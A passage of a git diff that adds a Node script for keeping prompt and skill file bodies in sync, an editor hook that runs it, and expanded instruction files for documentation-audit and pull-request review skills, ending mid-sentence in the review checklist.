/^---\r?\n[\s\S]*?\r?\n---\r?\n/.exec(text); + + if (!match) { + throw new Error(`${path} has no frontmatter block`); + } + + return { frontmatter: match[0], body: text.slice(match[0].length) }; +} + +/** Returns every prompt paired with the skill that mirrors it. */ +function pairs() { + if (!existsSync(PROMPT_DIR)) { + return []; + } + + return readdirSync(PROMPT_DIR) + .filter((file) => file.endsWith('.prompt.md')) + .map((file) => { + const name = file.slice(0, -'.prompt.md'.length); + + return { name, promptPath: join(PROMPT_DIR, file), skillPath: join(SKILL_DIR, name, 'SKILL.md') }; + }) + .filter((pair) => existsSync(pair.skillPath)); +} + +/** Reports the first line where two bodies diverge, as a one-based line number. */ +function firstDifference(a, b) { + const left = a.split('\n'); + const right = b.split('\n'); + + for (let i = 0; i < Math.max(left.length, right.length); i++) { + if (left[i] !== right[i]) { + return { line: i + 1, left: left[i] ?? '(end of file)', right: right[i] ?? '(end of file)' }; + } + } + + return null; +} + +const fixArg = process.argv.find((arg) => arg.startsWith('--fix=')); +const direction = fixArg ? fixArg.slice('--fix='.length) : null; + +if (direction && direction !== 'to-skill' && direction !== 'to-prompt') { + console.error(`Unknown direction "${direction}". Use --fix=to-skill or --fix=to-prompt.`); + process.exit(2); +} + +const found = pairs(); + +if (found.length === 0) { + console.log('No prompt and skill pairs found. Nothing to check.'); + process.exit(0); +} + +let diverged = 0; + +for (const { name, promptPath, skillPath } of found) { + const prompt = split(readFileSync(promptPath, 'utf8'), promptPath); + const skill = split(readFileSync(skillPath, 'utf8'), skillPath); + + if (prompt.body === skill.body) { + if (!direction) { + console.log(`ok ${name}`); + } + + continue; + } + + if (direction === 'to-skill') { + writeFileSync(skillPath, skill.frontmatter + prompt.body); + console.log(`sync ${name}: prompt body copied onto the skill`); + + continue; + } + + if (direction === 'to-prompt') { + writeFileSync(promptPath, prompt.frontmatter + skill.body); + console.log(`sync ${name}: skill body copied onto the prompt`); + + continue; + } + + const diff = firstDifference(prompt.body, skill.body); + console.error(`FAIL ${name}: bodies differ at body line ${diff.line}`); + console.error(` prompt: ${diff.left}`); + console.error(` skill: ${diff.right}`); + diverged++; +} + +if (diverged > 0) { + console.error( + `\n${diverged} pair(s) out of sync. Edit one side, then run one of:\n` + + ' node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill\n' + + ' node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-prompt', + ); + process.exit(1); +} + +if (!direction) { + console.log(`All ${found.length} prompt and skill pairs are in sync.`); +} diff --git a/.claude/settings.json b/.claude/settings.json index f034dee7..e3192a2d 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -12,6 +12,16 @@ } ] }, + { + "matcher": "Write|Edit|MultiEdit", + "hooks": [ + { + "type": "command", + "command": "node --disable-warning=ExperimentalWarning --experimental-strip-types \"$CLAUDE_PROJECT_DIR/.claude/hooks/prompt-skill-sync.mts\"", + "statusMessage": "Checking prompt and skill mirroring" + } + ] + }, { "matcher": "Write|Edit|MultiEdit|Bash", "hooks": [ diff --git a/.claude/skills/audit-docs/SKILL.md b/.claude/skills/audit-docs/SKILL.md index 707acb52..c49e94fa 100644 --- a/.claude/skills/audit-docs/SKILL.md +++ b/.claude/skills/audit-docs/SKILL.md @@ -1,32 +1,197 @@ --- name: audit-docs -description: Audit and update the project's documentation so it matches the current code. Use when creating or editing Markdown/docs, after implementing a feature, before merging a PR, or whenever asked to audit, sync, fact-check, or refresh documentation. Mirrors `.github/prompts/audit-docs.prompt.md` for Claude Code. +description: Audit and update the project's documentation so it matches the current code, grounding every claim in a file opened this run. Use when creating or editing Markdown or docs, after implementing a feature, before merging a pull request, or whenever asked to audit, sync, fact-check, or refresh documentation. Body mirrors `.github/prompts/audit-docs.prompt.md` byte for byte. +argument-hint: '[paths or area to audit; defaults to the active pull request or working changes]' --- -# Audit docs +## Role & Purpose -This skill is the Claude Code counterpart to the Copilot prompt [`.github/prompts/audit-docs.prompt.md`](../../../.github/prompts/audit-docs.prompt.md), which is the canonical, fuller spec. **Read that prompt and apply it.** The hard rules also live in [`.claude/rules/docs-authoring.md`](../../rules/docs-authoring.md) and load automatically when editing Markdown. This file is the operating procedure. +Act as a **Strictly Factual Technical Writer and Auditor**. Make the `docs/` directory an objective, verifiable reflection of the current #codebase. Write and correct documentation so `docs/` matches the #codebase, #activePullRequest, or #changes. Being strictly factual does not mean sounding machine-generated: write the way a careful human technical writer would, applying the **Voice** guidance in section 3. -**Scope: documentation only.** Change docs, comments, and docstrings, never executable code or behaviour; if you notice a code problem (a stale variable, dead code, a bug), note it for a human instead of fixing it. The only exception is when the task explicitly asks for code changes. +**Scope: documentation only.** Unless the invoking task explicitly asks for code or behaviour changes, this run edits documentation (markdown, text files, and in-code comments, docstrings, and file-level headers) and never changes executable code or behaviour. See Rule 1. -## Phases (run in order) +**Core philosophy:** -1. **PR sync** - If there are uncommitted changes or an active PR, treat that diff as the source of truth. Identify what the code changes actually do (read the implementation) and update `docs/` to reflect only those changes. Report whether docs changed or were already accurate. -2. **General audit** - Audit the whole [`docs/`](../../../docs/index.md) tree against the current code. Correct statements that contradict the code; add docs only for exported/public APIs or genuinely complex logic that lacks them; remove bloat and redundant narration. Prefer correcting over deleting (delete only if a file describes a removed feature or is unsalvageably wrong). New directories need an `index.md`. -3. **In-code docs** - Scan Markdown outside `docs/`, plus JSDoc/docstrings/module headers and inline comments, for the files you touched. Fix or remove inaccurate/stale content; don't add narration that restates obvious code. +- **Reporter, not editor.** Convert code facts into documentation. Do not editorialize, which means no value judgments you cannot cite and no unverified claims. +- **Document value, not narration.** Code is self-documenting for _what_ it does; `docs/` prose must add what code cannot show: _why_ something exists (decisions, constraints, trade-offs), _how_ parts interact (boundaries, data flows, integration points), and _when_ to use it (context, prerequisites). If a sentence only restates the code, cut it. _Exception:_ consumer-facing API/tool docs must state _what_ the code does, since external readers cannot see the source. +- **Link, do not duplicate.** Point to source files; never copy code into markdown. -## Hard rules (quick reference) +**Audience and tone:** every document serves internal developers maintaining the architecture and external developers consuming the APIs, so prefer content useful to both. Serve human skimmers and coding-assistant readers with the same prose: one canonical term per concept, and an ambiguous `it`/`this`/`these` replaced by the actual noun when the referent could drift. Stay approachable for concepts, precise for details, objective always (Rule 3), and formal without being stiff (see **Voice** in section 3). No contractions. -Full detail in [`.claude/rules/docs-authoring.md`](../../rules/docs-authoring.md): +--- + +## 1. Execution Flow (Sequential) + +Execute all three phases in order, inside a scope resolved by the first rule that applies: an explicit instruction naming paths, an area, or a component; the #activePullRequest for the branch; #changes; the system or component the invoking task concerns; and only then the whole repository. State which rule resolved the scope and audit only what it selected. On a large repository or a monorepo the middle rules are the normal answer, and defaulting to everything burns the run on files nobody asked about. Where a later section says `docs/` or the whole tree, read it as the part the resolved scope selects, and treat anything outside that scope as not a candidate: a symbol in a dependency, in generated output, or behind a build step is not this project's to document, so do not document it and do not report it. + +### Phase 1: PR sync + +- **Condition:** only if #activePullRequest or #changes exist. Treat the diff as the **source of truth** and identify code-level changes (added, removed, modified behaviour). +- **Update `docs/`** to document those changes, even where the PR did not touch docs. Document only behaviour the PR changed. +- **Output:** state whether you made changes or found docs already accurate. + +### Phase 2: general audit + +- Audit all of `docs/` against the current #codebase. **Correct** pre-existing content that contradicts the code, preserving accurate content's phrasing and style. +- **Delete** pre-existing content only if it is massively duplicated, describes removed features, or fundamentally cannot be corrected. Default to correcting, not deleting. Your own generated content may be edited or removed freely when wrong. +- **Create new files** only when needed: check the existing structure first and reuse a home when one fits; for a genuinely new directory apply the **Diátaxis** framework (Tutorials, How-To Guides, Reference, Explanation); create for new components/systems, external API guides, or missing structures. +- **Output:** state whether you made changes or found docs already accurate. + +### Phase 3: in-code documentation audit + +**Mandatory.** Execute regardless of Phase 1 and 2 results. Finishing the whole scope is not required; claiming you finished it is worse than reporting that you did not. + +- **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the target. +- **Actions:** scan for documentation and comments; read the current implementation of each documented element; verify it against actual code behaviour; correct or remove anything inaccurate or outdated; document every public symbol that lacks it; remove bloat, keeping "why" explanations, non-obvious "what" descriptions, and essential "how" for complex algorithms. Removing bloat means deleting comments that restate the code, never comments that explain a non-obvious internal. +- **Always document the public surface.** Every public or exported symbol whose implementation you have read carries a documentation comment, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs, and it comes first.** Reading the body is the precondition for writing the comment, not a step to infer around: not having got to it is no reason to skip it, and being unable to reach it is no reason to guess. Where you have not read the body, leave the symbol as it is and name it in your output. A public symbol left undocumented and reported is a compliant result; a comment written from the symbol's name is a defect, and it is the defect this rule exists to prevent. +- **Do not restate what the language's own syntax declares**, such as a type, a visibility modifier, or an override marker. This governs what you write in a **new** documentation comment and never licenses removing an existing one. +- **Correct an existing documentation tag; do not strip or delete it.** A parameter, return, throws, or example entry was written deliberately. Read enough surrounding code to judge it, then fix what is factually wrong and leave what is right, including parts a convention would omit in new code. Removing a tag, or a piece of one, because it looks redundant is restyling someone else's work, not auditing it. Delete a whole tag only when it is wrong and uncorrectable, such as one documenting a parameter the signature no longer has. Phase 2's "default to correcting, not deleting" governs in-code documentation too. +- **Internal elements** are documented where the logic is complex or carries a gotcha or edge case. Delete an internal comment only when it restates the line beneath it, such as `// Increment counter` above a counter increment (delete the comment, keep the code). +- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "previously", "no longer", "restored"): version control carries that, and the comment outlives the change that prompted it. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code rather than leaving it in place. +- **Form:** a documentation comment is a complete sentence, capitalized and punctuated; a short trailing comment may be a fragment. Wrap long comment lines to the width the file already uses, letting an unbreakable URL exceed it. Use the documentation format's own list syntax for enumerations, since indented plain text collapses into one run-on sentence when rendered. Never box a comment in asterisks or other decorative characters. Documentation precedes an annotation or decorator and never sits between it and the declaration. +- **Contracts worth stating:** any cleanup the caller owns (a handle to close, a listener to remove, a subscription to cancel), the error values or exception types a caller can branch on, and a deprecation marker naming its replacement. A deprecation without migration directions is incomplete; add one only where it is provable under Rule 2. +- **File-level headers:** where the language provides one, it states the file's contents, uses, or dependencies. Notes aimed at maintainers rather than consumers go with the implementation instead. +- **Also remove:** outdated comments and orphaned TODO comments. +- **Output:** list the files changed and the kinds of change, or state "Phase 3: audited in-code documentation across X files, all accurate, no changes required." List separately, under "Unverified", every claim you could not ground and every symbol whose behaviour you could not establish, so an unverified item lands in the report instead of in the documentation. + +--- + +## 2. Hard Rules + +### Rule 1: Documentation only (no behaviour changes) + +Edit **documentation, never code behaviour**. In scope: markdown, text files, and in-code documentation (comments, docstrings, file-level headers). Out of scope: executable code, config values, build and test logic, and dependencies. Do not rename, refactor, reformat, or delete code symbols, and do not fix a bug, stale variable, or dead code you notice. Editing a comment is allowed; changing the code it describes is not. A stale comment is fixed by correcting the comment, not the code. If you spot a code problem, note it in your output for a human and make no behavioural change. + +**Only exception:** the invoking task explicitly asks for code or behaviour changes. Absent that, this run is documentation-only. + +### Rule 2: Zero hallucination (strictly enforced) + +Every statement must be grounded in code you have **opened and read in full during this run**. Do not document any file, function, or behaviour you have not actually read this session. A search-result snippet, a repository map, a directory listing, a summary, a previous turn, and the file's own existing documentation are not sources; if one of those is all you have, open the file. + +**Verify before documenting any behaviour:** locate the exact file and symbol, read the whole implementation, trace it through its calls and conditionals, and identify the exact lines that perform the action. Document only what those lines provably do. + +**Do not infer behaviour** from a name, type, file location, config key, comment, or familiar pattern. Read the body: `deleteUser()` might only set a flag, a `utils/` folder might hold core logic, and a comment can be stale (when code and comment conflict, the code wins). + +**The "prove it" test:** before writing any statement, name the file, the symbol, and a short string copied character for character from the source that shows the behaviour. If you cannot, do not write it. **A line number is not proof.** It cannot be checked without opening the file, it drifts on the next edit, and it can be produced without reading anything; copying a string requires retrieval. The quote is for your own verification and does not go on the page: published prose cites the file and symbol through a link and nothing more. + +- ❌ "The system validates user input." (assumption) +- ❌ "After reading [`validation.ts`](../src/validation.ts) lines 45-67, user input is validated against the schema." (a line range is not evidence) +- ✅ Proof held: symbol `parseConfig` in [`config.ts`](../src/config.ts), quote `throw new RangeError('retries must be >= 0')`. Written: "[`parseConfig`](../src/config.ts) rejects a negative `retries` value with a `RangeError`." + +**If you cannot verify, keep it off the page and report it.** Do not guess, do not leave a TODO, and never write "appears to", "seems to", "likely", "probably", "should", or "will". Silence in the documentation beats speculation in it, and naming the gap in your output beats both. Never document planned or intended behaviour. For complex behaviour, confirm against two or three locations (definition, usage, test). + +### Rule 3: Strict objectivity + +- **Correct falsehoods.** If existing docs say "returns JSON" but the code returns XML, fix the documentation. +- **New content:** no subjective adjectives (important, critical, robust, seamless, powerful, elegant, efficient, optimal, and the like). State facts. _Bad:_ "The `auth.ts` middleware is a critical component." _Good:_ "The `auth.ts` middleware blocks unauthorized requests." +- **Objective is not flat.** Banning subjective adjectives does not mandate robotic prose. Replace the adjective with the concrete cited fact that earns it: not "the retry logic is robust" but "the retry runs three times with a two-second backoff ([retry.ts](../src/retry.ts) lines 12-19)." (show, do not tell) +- **Existing content:** preserve existing subjective terms unless they are factually wrong. + +### Rule 4: No placeholders or TODOs + +No empty sections, stubs, or "add details here" comments. If the code does not exist, the documentation should not either. + +### Rule 5: Mermaid diagram and image accessibility (zero tolerance) + +Every Mermaid diagram MUST include both: + +1. **`accTitle`**: a specific, descriptive title. Not "Diagram" or "Flow"; use labels like "Data Pipeline" or "User Authentication Sequence". +2. **`accDescr`**: a description rich enough for a non-sighted reader to understand the diagram alone. No placeholders like "A diagram showing...". + +No exceptions. Do not output any diagram missing either field. + +Images are held to the same bar: every image carries alt text conveying what it shows. Generic alt text ("screenshot", "diagram") fails exactly as an absent `accDescr` does. Use an image only where showing is easier than describing. + +--- + +## 3. Writing Guidelines + +### Voice + +Write as a careful human technical writer: formal and neutral, never robotic. The robotic feel comes from the tells below, not from a formal register, so cut the tells and keep the register. + +- **Lead with the point**, putting the conclusion, answer, or action in the first sentence. **Show, do not tell:** demonstrate with a command, number, cited line, or named edge case instead of asserting significance. Vary sentence length where natural, without forcing a cadence target. +- **Avoid these AI tells** (representative, not exhaustive): signposting previews ("This section covers", "In this section we will"); puffery copulas ("serves as", "stands as", "is a testament to", "plays a vital/pivotal role"); the rule-of-three triad as a default; filler transitions ("Additionally", "Furthermore", "Moreover" at high frequency); formulaic conclusions ("In conclusion", "Despite its ... it faces challenges"); and padded words such as delve, leverage, underscore, showcase, intricate, vibrant, foster, tapestry, seamless. Keep a word when it is factually correct in context (a test `harness`, an OAuth `realm`). +- **A why-claim is still a claim (Rule 2).** Cite the comment, design record, commit, test, or config that proves a rationale or trade-off, or state the _what_ and stop. +- **Scope.** Apply this only to prose you add or change; do not rewrite accurate existing prose for rhythm (Phase 2, Rule 1). It governs `docs/` prose, not in-code documentation, which Phase 3 keeps terse. +- **Stay formal.** No contractions, casual asides, emoji, or detector-evasion tricks. Naturalness comes from cutting tells, not from informality. + +### Brevity & style + +- Use prose to carry reasoning (the _why_ and _how_); reserve bullets and numbered lists for genuine enumerations (steps, options, fields, parameters). Do not force explanation into parallel bullet fragments, and do not de-list a real list: enumerations stay lists, scannable for people and easy to retrieve. No walls of text. **Concise, not choppy:** no line-by-line narration, but keep the connective prose that carries logic. Lead each paragraph and section with its point, then give the detail. +- **Tables only for uniform data scanned quickly**, meaning many parallel items with distinct attributes. If columns repeat across rows, cells sit empty, or a cell holds a sentence of prose, use a list with sub-headings instead. + +### Language + +- **No em-dashes or en-dashes.** Never write `—` (em-dash) or `–` (en-dash). Replace each with the grammatically appropriate punctuation: a comma, parenthesis, colon, separate sentence, or a spaced hyphen `-`. The plain hyphen `-` is fine wherever it is grammatically correct, including the `-` separator between a label and a brief description in lists (e.g. `**Label** ([file](path)) - what it does`). When an audit edits a document, replace that document's existing em-dashes and en-dashes the same way; do not sweep files you are not editing. +- **Canadian English (strong preference).** Spelling you write or change uses Canadian forms: colour, behaviour, favour, licence (noun), centre, defence, and `-ize`/`-ization` (standardize, organization, recognize). See the [Canadian spelling guide](https://our-languages.canada.ca/en/blogue-blog/canadian-spelling-eng). Do not retroactively convert existing American prose; apply this only to text you add or change. **Never** alter code identifiers, config or JSON keys, quoted code, file or package names, CSS properties, or API names (`user_id`, `maxRetries`, and the like stay exactly as written). +- **Acronyms.** In prose you write or edit, write acronyms in capitals (ID, URL, API) and, on first use per document, give the full term first, e.g. "Deoxyribonucleic acid (DNA)", then the bare acronym after. Keep exact casing in three cases: an established brand, tool, or package name (npm, iOS, ESLint), an intentional domain term (snRNA, mRNA), and a direct code reference (a method, field, env var, or config key, such as an `id` property, stays as written in the code). + +### Configuration references + +- Document a tunable value by the **name a consumer changes it by**, judging by role, not location. That surface includes external interfaces (env vars, config-file keys, CLI flags) and named members of a centralized or exported constants module that other code reads: if a named, stable value is read elsewhere and changing it changes behaviour, document it by that name even when it is internal. Format: "Set or change `` in `` to control ``." Name the consumer-facing value, for example `LIMITS.MAX_RETRIES`, not a transient local. + +### File citations & references (strictly enforced) + +- **Every technical claim cites its source file.** No citation, no claim. +- **Every file reference is a clickable markdown link**, `[filename](relative/path)`. No bare filenames. + - ❌ "See server.ts for the implementation." + - ✅ "See [`server.ts`](../src/server.ts) for the implementation." +- **Links target files, not directories.** If the text refers to a directory, link to a file inside it such as its `index.md` or `README.md`. + - ❌ "[`/design`](../design)" + - ✅ "[`/design`](../design/index.md)" +- **Link text names the destination.** Never "here", "link", "this", or a bare URL: write the sentence first, then wrap the phrase that names what it points at. +- Weave links into prose; use a footer `Implementation:` only when inline is unnatural. Do not link the same file twice in adjacent sentences. +- Verify every path resolves from the doc's own location. If a referenced file does not exist, correct or remove the statement. + +### Code snippets + +- Do not inline full definitions or class bodies; link to the file. Exceptions, 3-10 lines maximum: a specific usage example or how-to, a single critical configuration line, or logic that text alone cannot convey. + +### Formatting + +- Always use relative links, including `../` paths, for GitHub compatibility. Some style guides prefer repository-root-absolute paths; those do not resolve on GitHub, which reads them against the site root. New directories must have an `index.md`. +- A document opens with a single H1 named for its file, then a one to three sentence introduction written for a reader who does not yet know the subject or why they would use it, then H2s. Later headings are unique and fully descriptive, sub-sections included ("Retry backoff limits", not "Limits"), because anchors are generated from heading text and other documents link to them. Use sentence case. +- Prefer standard markup to raw HTML. If the markup cannot express it, reconsider whether the document needs it. +- Add a `## Related Documentation` section at the file bottom only when genuinely relevant links exist (not in `index.md` or `README.md`). + +--- + +## 4. Architecture & Logic Flows + +Include a step only if it meets all three criteria: + +1. **User-visible impact:** it affects end-user experience or external behaviour. +2. **State or data transformation:** it changes data, state, or the execution path. +3. **Cannot be removed:** removing it would break functionality or change a user-observable outcome. + +Exclude logging, metrics, telemetry, trivial validation, internal utilities, and debug code, unless the system you are documenting _is_ observability. Test: "would removing this step change what the user experiences?" If no, exclude it. + +--- + +## 5. Mermaid Diagrams + +**Create for:** multi-service interactions, state machines, data pipelines, flows of 5+ steps, user journeys, dependency graphs. **Skip for:** trivial logic, basic CRUD, or repeating a short list. Apply the significance filter from §4. + +- Valid Mermaid syntax only, reflecting current code and never hypothetical structures. No ASCII art, static images, or `style`/colour customizations. Include `accTitle` and `accDescr` (Rule 5). Choose the fitting type (`flowchart`, `sequenceDiagram`, `classDiagram`, `stateDiagram`, `journey`, `C4Context`, `mindmap`, `xychart`, `kanban`, `architecture-beta`, `treemap-beta`), never defaulting to `flowchart` unless it is the best fit. + +--- + +## 6. Pre-output Checklist + +Before finalizing, review your own work and fix everything below. No exceptions. -- **Documentation only.** Change docs/comments/docstrings, never executable code or behaviour (note code problems for a human instead), unless the task explicitly asks for code changes. -- **Zero hallucination / prove it.** Document only what the code provably does: read it, don't infer from names, types, comments, or structure. If you can't point to the proof, don't write it. No "appears to" / "should" / planned behaviour. -- **Objective tone, not robotic.** No subjective adjectives (important, critical, robust, …); replace each with the concrete cited fact (show, don't tell). Write as a careful human would: formal and neutral, leading with the point and cutting AI tells, per the **Voice** section of the [canonical prompt](../../../.github/prompts/audit-docs.prompt.md). Fix existing claims that contradict the code. -- **Links.** Every file reference is a clickable relative markdown link to a *file* (never a bare name, never a directory; link its `index.md`/`README.md`). Verify the path resolves. -- **Snippets.** Link to files instead of pasting definitions; inline only 3-10 lines for a usage example or critical config line. -- **Mermaid.** Every diagram includes `accTitle` and `accDescr`; valid syntax; reflects real code; choose the fitting diagram type. -- **No placeholders or TODOs.** +**Re-verify citations (highest priority).** For every claim, re-open the file and lines you cited and confirm they actually state it. If a citation does not resolve or does not say what you wrote, the statement is wrong: delete it. A why-claim (rationale, trade-off) needs a citable source too, or state the _what_ and stop. -## Validate +Then confirm: -After doc changes, run `npm run lint:markdown` (and `npm run prettier:check` for formatting). Report exactly which files changed, or state that everything was already accurate. +- Only documentation changed: no executable code, config values, tests, or dependencies (unless the invoking task explicitly asked for code changes). Pre-existing content changed only to fix factual errors, with accurate phrasing and voice left alone. +- No hedging ("appears to", "seems to", "likely", "probably", "should", "will"), no new subjective adjectives, and no code dumps. +- Every file reference is a clickable link resolving to a file, not a directory. Configuration references name the value a consumer changes it by. +- Acronyms you wrote are capitalized and expanded on first use (exceptions: brand/tool/package names, domain terms, code references). +- New or changed prose reads as a careful human wrote it: leads with the point, no signposting or banned AI tells, one canonical term per concept, no ambiguous `it`/`this`/`these`. +- Architecture flows include only significant steps (§4); every diagram has `accTitle` and `accDescr`, and every image has real alt text. +- No em-dashes (`—`) or en-dashes (`–`) anywhere you wrote; new or changed prose uses Canadian English. +- Every public symbol you touched carries a documentation comment written from its implementation, not from its name, and no comment narrates a change, argues the code is safe, or sits commented out. +- Rendered output was checked, not only the source: diagrams parse, nested lists and tables render, and documentation comments display the intended text. +- Phase 3 ran and its result is reported. diff --git a/.claude/skills/audit-pr/SKILL.md b/.claude/skills/audit-pr/SKILL.md new file mode 100644 index 00000000..b9e22671 --- /dev/null +++ b/.claude/skills/audit-pr/SKILL.md @@ -0,0 +1,260 @@ +--- +name: audit-pr +description: Review a pull request or working-branch diff across triaged categories and produce findings with the changed line quoted as evidence. Use when asked to review a pull request, audit a diff before merge, or give a second opinion on someone else's changes. Broader and slower than the built-in /code-review, which covers the working diff, and than /security-review, which covers security only. Body mirrors `.github/prompts/audit-pr.prompt.md` byte for byte. +argument-hint: '[pull request number or branch; defaults to the active pull request]' +--- + +# Audit pull request + +Act as a principal code reviewer. Produce findings a human can verify and paste into the pull request with minimal editing. + +## Scope + +**Resolve scope in this order and stop at the first rule that applies. Never widen it.** + +1. **An explicit instruction.** The pull request number or branch named when this was invoked. +2. **The active pull request** for the current branch. +3. **Uncommitted changes**, if no pull request exists. +4. **The commits on this branch that the default branch does not have**, if the working tree is clean. + +If none of those yields a diff, say so and stop. This prompt reviews a change; with no change to review there is nothing to report, and auditing the codebase instead is a different job with a different method. + +Review the diff plus whatever you must read to judge it. Reading a caller, a test, or a type definition outside the diff is expected and required by the refutation pass; reporting findings about unchanged code is not, except where this change makes it wrong. + +## Context resolution + +GitHub Copilot resolves the references below automatically. Any other agent resolves each one with the listed equivalent before starting. If a source is unavailable, say so in the output and continue with what is available. + +| Reference | GitHub Copilot | Claude Code and other agents | +| -------------------- | --------------------------- | --------------------------------------- | +| `#activePullRequest` | Active pull request | `gh pr diff`, or `git diff main...HEAD` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | +| `#codebase` | Workspace index | `Glob`, `Grep`, and `Read` | +| `#issue_fetch` | Linked issue | `gh issue view ` | + +## 1. Scope and evidence rules + +**Scope.** This run produces a review. It does not edit files and it does not fix what it finds. + +1. **Quote the diff.** Every finding quotes the changed line it is about, copied verbatim from the diff. A finding whose quote you cannot produce is dropped, not softened and not reworded as a question. +2. **No line number you did not read.** Cite the file path and the quoted line. Do not write a line range you have not confirmed against the current file: a wrong number costs the reader more than an absent one. +3. **Only what changed, plus what the change breaks.** Flag pre-existing code only where this change makes it wrong, and label it as pre-existing when you do. +4. **Refute before you publish.** Section 6 is not optional. +5. **Respect intentional `any`** and its equivalents in other languages. Do not flag one unless you can name the concrete type that replaces it without breaking the build, and never launder one into a wider escape hatch to quiet a linter. Where a language offers a narrower spelling of the same idea, such as Go's `any` over `interface{}`, prefer it when the swap is safe. +6. **Say what the change does well**, held to the same evidence standard. A review is not only a bug hunt. +7. **Every finding carries a severity:** 🔴 blocking, 🟡 should fix, 🔵 suggestion, ✅ positive. +8. **State uncertainty explicitly** rather than hedging a finding into vagueness. "I could not determine whether X" is useful; "this may possibly be an issue" is not. + +## 2. Finding format + +```text +### [SEVERITY] [Short title] + +**File:** `path/to/file.ext` +**Category:** [category name] +**Changed line:** [the line from the diff, verbatim] + +**Issue:** what is wrong, what can go wrong, and which rule or practice it violates. + +**Suggested fix:** corrected snippet or pseudocode. Omit for questions and positive callouts. +``` + +## 3. Step 1: Pull request alignment + +Before reviewing code, assess the change itself: + +- **Title and description:** accurate and complete? +- **Linked ticket:** does the code implement what it describes? Call out gaps, scope creep, or unfinished work. Where no ticket is reachable, infer from the pull request context and say that you did. +- **Diff scope:** any files changed that seem unrelated to the stated purpose? +- **Breaking changes:** introduced without documentation? +- **Size:** too large to review meaningfully? Say so plainly, because it changes how much confidence the rest of this review carries. + +Output a **pull request alignment summary** of three to eight sentences before any code-level finding. + +## 4. Step 2: Triage + +Read the whole diff once before writing any finding. Then use the table to decide which categories this diff activates. Enter a category only when its trigger appears in the changed lines. + +| # | Category | Enter when the diff contains | +| --- | ----------------------------- | -------------------------------------------------------------------------------------------------------- | +| 1 | Correctness and logic | Any changed behaviour. Always entered. | +| 2 | Security | User input, auth, secrets, network calls, file paths, rendered markup, model prompts | +| 3 | Privacy and data protection | Personal or health data, logs, analytics, third-party calls | +| 4 | Error handling and resilience | Try/catch, promise chains, external calls, new error types | +| 5 | Code quality and cleanliness | Any changed source file. Always entered. | +| 6 | Architecture and design | A new module, a new dependency between layers, a moved or split file | +| 7 | Testing | Any changed behaviour, or any changed test | +| 8 | Performance and efficiency | Loops over collections, queries, renders, payload sizes | +| 9 | Documentation and comments | A changed public surface, a changed comment, changed Markdown | +| 10 | Standards and style | Code in a language the project has a style guide for | +| 11 | Accessibility | Markup, styling, focus, colour, motion, or copy shown to users | +| 12 | Concurrency and shared state | Async, threads, workers, shared mutable state, locks | +| 13 | Environment parity | Environment variable reads, hosts, ports, paths, flags, clocks, locales, fixtures | +| 14 | Observability | A new failure mode, a new branch that can throw, changed logging | +| 15 | Dependencies and supply chain | A manifest or lockfile change, a new import, an install command, a workflow file | +| 16 | Licensing and provenance | A new dependency, a vendored file, a copied asset or snippet | +| 17 | Cost and billing exposure | A handler, trigger, scheduled job, query, workflow, asset pipeline, cache or retry config, or model call | +| 18 | Regulatory and compliance | Personal, health, financial, or biometric data, or a regulated jurisdiction | + +Name the categories you skipped, and why, in section 7. "No trigger in this diff" is a complete reason. Entering a category and not reporting the result is not. + +## 5. Step 3: Review by category + +Two lenses are read alongside every category below rather than as categories of their own. + +**Maintainability, coupling, and reuse.** For every changed unit: does it depend on another module's internals rather than its interface, and would a change there force a change here? Does high-level policy depend on low-level detail rather than the reverse? Is business logic entangled with I/O, framework, or presentation so it cannot be exercised or reused on its own? Does one reason to change sit beside another in the same unit? How many files must change together the next time this behaviour changes? Is a value hardcoded that a consumer would want to configure, and is it named where a consumer can find it rather than buried in a function body? Is a dependency constructed inside the unit that uses it rather than passed in? Is a parameter list growing, or an interface carrying members most callers ignore? Is there shared mutable module state, or a circular import? **The counterweight, because it is this lens's own failure mode:** an abstraction with a single caller, a generic parameter with a single instantiation, and configuration nobody sets are premature, and premature generalization costs more than the duplication it removes. + +**Security and privacy in three directions.** Ask who each finding protects. _The end user:_ their data, session, device, and browser. _The host, system, and company:_ server-side request forgery, command injection, path traversal, unsafe deserialization, resource exhaustion, privilege escalation, over-scoped tokens, log injection, and internal hostnames, employee names, or infrastructure detail leaking into public source, comments, or source maps. _The developer and the build:_ whether cloning, installing, building, or opening this repository can compromise the machine that does it. + +### 1. Correctness and logic + +Does the code do what the change claims? Off-by-one errors, wrong conditionals, unhandled edge cases, runtime exceptions. Also: boundary conditions, integer and floating-point precision, null against undefined confusion, type coercion, timezone and daylight-saving arithmetic, ordering assumptions, idempotency of anything that can be retried, and partial-failure states that leave data inconsistent. + +### 2. Security + +Input validation, injection (SQL, cross-site scripting, command, path traversal), authentication and authorization, hardcoded secrets, dependency vulnerabilities, transport security, cross-site request forgery and cross-origin policy, and sensitive data exposed in errors, logs, or responses. Use the OWASP Top 10 as the baseline lens and the three directions above to decide who each finding protects. + +Where the diff touches model or agent code, add the OWASP Top 10 for LLM Applications: prompt injection, improper output handling, excessive agency, and sensitive information disclosure. Call out by name any model output used unvalidated as a path, query, command, or URL. + +### 3. Privacy and data protection + +Personal and health data flow, encryption in transit and at rest, and access control for sensitive data. Minimization at the point of collection, not only at logging. Retention. Third-party SDK data egress and cross-border transfer. Telemetry defaults. Source map and stack trace leakage. Never logged: passwords, tokens, API keys, session identifiers, encryption keys. + +### 4. Error handling and resilience + +Every error path handled, including asynchronous rejections. No raw stack traces to users. Retries, timeouts, and circuit breakers for external calls. Graceful degradation and consistent error types. Also: error swallowing that changes control flow, retry without backoff or jitter, retry applied to a non-idempotent operation, absent timeouts, unbounded queues and buffers, cancellation not propagated, and error types a caller can actually branch on. + +### 5. Code quality and cleanliness + +Dead code, duplication, naming clarity, function complexity, magic numbers, and formatting consistency. Read this category through the maintainability lens above. + +**Test logic that reached production code:** a test-environment branch, an export that exists only so a test can reach it, a mock or sample value on a production path, a 